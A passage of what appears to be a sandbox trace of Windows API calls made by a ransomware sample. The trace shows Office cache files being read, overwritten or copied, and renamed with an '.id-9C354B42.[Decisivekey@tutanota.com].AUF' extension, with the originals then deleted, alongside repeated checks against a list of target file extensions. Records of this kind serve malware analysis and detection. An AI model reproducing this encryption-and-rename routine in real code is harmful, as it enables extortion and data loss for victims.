dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.962] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=14127746) returned 1 [0212.962] CloseHandle (hObject=0x1e8) returned 1 [0212.962] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0212.962] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.962] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0212.963] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.963] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0212.963] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0212.963] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.018] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.018] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.117] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.117] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.117] ReadFile (in: hFile=0x1e8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.238] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.238] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0213.254] SetEndOfFile (hFile=0x1e8) returned 1 [0213.257] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.258] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.258] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.258] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.259] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.259] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.260] CloseHandle (hObject=0x1e8) returned 1 [0213.261] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.261] lstrlenW (lpString=".doc") returned 4 [0213.261] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0213.261] lstrlenW (lpString=".docx") returned 5 [0213.261] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0213.261] lstrlenW (lpString=".pdf") returned 4 [0213.261] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0213.261] lstrlenW (lpString=".xls") returned 4 [0213.261] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0213.261] lstrlenW (lpString=".xlsx") returned 5 [0213.261] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0213.261] lstrlenW (lpString=".ppt") returned 4 [0213.261] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0213.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.261] lstrlenW (lpString=".zip") returned 4 [0213.261] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0213.261] lstrlenW (lpString=".rar") returned 4 [0213.261] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0213.261] lstrlenW (lpString=".bz2") returned 4 [0213.261] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0213.261] lstrlenW (lpString=".7z") returned 3 [0213.261] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0213.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.261] lstrlenW (lpString=".dbf") returned 4 [0213.261] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0213.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.261] lstrlenW (lpString=".1cd") returned 4 [0213.261] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0213.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.261] lstrlenW (lpString=".jpg") returned 4 [0213.261] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0213.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.262] lstrlenW (lpString=".doc") returned 4 [0213.262] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0213.262] lstrlenW (lpString=".docx") returned 5 [0213.262] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0213.262] lstrlenW (lpString=".pdf") returned 4 [0213.262] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0213.262] lstrlenW (lpString=".xls") returned 4 [0213.262] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0213.262] lstrlenW (lpString=".xlsx") returned 5 [0213.262] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0213.262] lstrlenW (lpString=".ppt") returned 4 [0213.262] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0213.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.262] lstrlenW (lpString=".zip") returned 4 [0213.262] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0213.262] lstrlenW (lpString=".rar") returned 4 [0213.262] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0213.262] lstrlenW (lpString=".bz2") returned 4 [0213.262] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0213.262] lstrlenW (lpString=".7z") returned 3 [0213.262] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0213.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.262] lstrlenW (lpString=".dbf") returned 4 [0213.262] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0213.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.262] lstrlenW (lpString=".1cd") returned 4 [0213.262] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0213.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0213.262] lstrlenW (lpString=".jpg") returned 4 [0213.262] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0213.262] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0213.262] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0213.263] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0213.263] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=868864) returned 1 [0213.263] CloseHandle (hObject=0x1e8) returned 1 [0213.263] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0213.263] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.263] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0213.263] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.263] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.263] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0213.264] GetLastError () returned 0x0 [0213.264] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0213.343] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0213.356] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.356] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0213.356] SetEndOfFile (hFile=0x1d8) returned 1 [0213.357] CloseHandle (hObject=0x1d8) returned 1 [0213.357] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.357] SetEndOfFile (hFile=0x1e8) returned 1 [0213.521] CloseHandle (hObject=0x1e8) returned 1 [0213.522] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.522] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0213.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.522] lstrlenW (lpString=".doc") returned 4 [0213.522] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.522] lstrlenW (lpString=".docx") returned 5 [0213.522] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0213.522] lstrlenW (lpString=".pdf") returned 4 [0213.522] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.522] lstrlenW (lpString=".xls") returned 4 [0213.522] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.522] lstrlenW (lpString=".xlsx") returned 5 [0213.522] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0213.522] lstrlenW (lpString=".ppt") returned 4 [0213.522] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.522] lstrlenW (lpString=".zip") returned 4 [0213.522] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.522] lstrlenW (lpString=".rar") returned 4 [0213.522] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.522] lstrlenW (lpString=".bz2") returned 4 [0213.522] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.522] lstrlenW (lpString=".7z") returned 3 [0213.523] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.523] lstrlenW (lpString=".dbf") returned 4 [0213.523] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.523] lstrlenW (lpString=".1cd") returned 4 [0213.523] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.523] lstrlenW (lpString=".jpg") returned 4 [0213.523] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.523] lstrlenW (lpString=".doc") returned 4 [0213.523] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.523] lstrlenW (lpString=".docx") returned 5 [0213.523] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0213.523] lstrlenW (lpString=".pdf") returned 4 [0213.523] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.523] lstrlenW (lpString=".xls") returned 4 [0213.523] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.523] lstrlenW (lpString=".xlsx") returned 5 [0213.523] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0213.523] lstrlenW (lpString=".ppt") returned 4 [0213.523] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.523] lstrlenW (lpString=".zip") returned 4 [0213.523] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.523] lstrlenW (lpString=".rar") returned 4 [0213.523] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.523] lstrlenW (lpString=".bz2") returned 4 [0213.523] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.523] lstrlenW (lpString=".7z") returned 3 [0213.523] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.523] lstrlenW (lpString=".dbf") returned 4 [0213.523] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.523] lstrlenW (lpString=".1cd") returned 4 [0213.523] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0213.523] lstrlenW (lpString=".jpg") returned 4 [0213.523] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.523] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0213.523] lstrlenW (lpString="ose.exe") returned 7 [0213.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0213.524] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=174440) returned 1 [0213.524] CloseHandle (hObject=0x1e8) returned 1 [0213.524] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0213.524] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0213.524] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.524] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.524] GetLastError () returned 0x0 [0213.524] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0213.547] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0213.550] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.550] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0213.550] SetEndOfFile (hFile=0x224) returned 1 [0213.550] CloseHandle (hObject=0x224) returned 1 [0213.550] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.550] SetEndOfFile (hFile=0x1e8) returned 1 [0213.552] CloseHandle (hObject=0x1e8) returned 1 [0213.552] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.552] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0213.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.553] lstrlenW (lpString=".doc") returned 4 [0213.553] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0213.553] lstrlenW (lpString=".docx") returned 5 [0213.553] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0213.553] lstrlenW (lpString=".pdf") returned 4 [0213.553] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0213.553] lstrlenW (lpString=".xls") returned 4 [0213.553] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0213.553] lstrlenW (lpString=".xlsx") returned 5 [0213.553] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0213.553] lstrlenW (lpString=".ppt") returned 4 [0213.553] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0213.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.553] lstrlenW (lpString=".zip") returned 4 [0213.553] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0213.553] lstrlenW (lpString=".rar") returned 4 [0213.553] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0213.553] lstrlenW (lpString=".bz2") returned 4 [0213.553] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0213.553] lstrlenW (lpString=".7z") returned 3 [0213.553] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0213.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.553] lstrlenW (lpString=".dbf") returned 4 [0213.553] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0213.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.553] lstrlenW (lpString=".1cd") returned 4 [0213.553] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0213.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.553] lstrlenW (lpString=".jpg") returned 4 [0213.553] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0213.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.553] lstrlenW (lpString=".doc") returned 4 [0213.553] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0213.553] lstrlenW (lpString=".docx") returned 5 [0213.553] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0213.553] lstrlenW (lpString=".pdf") returned 4 [0213.553] lstrcmpiW 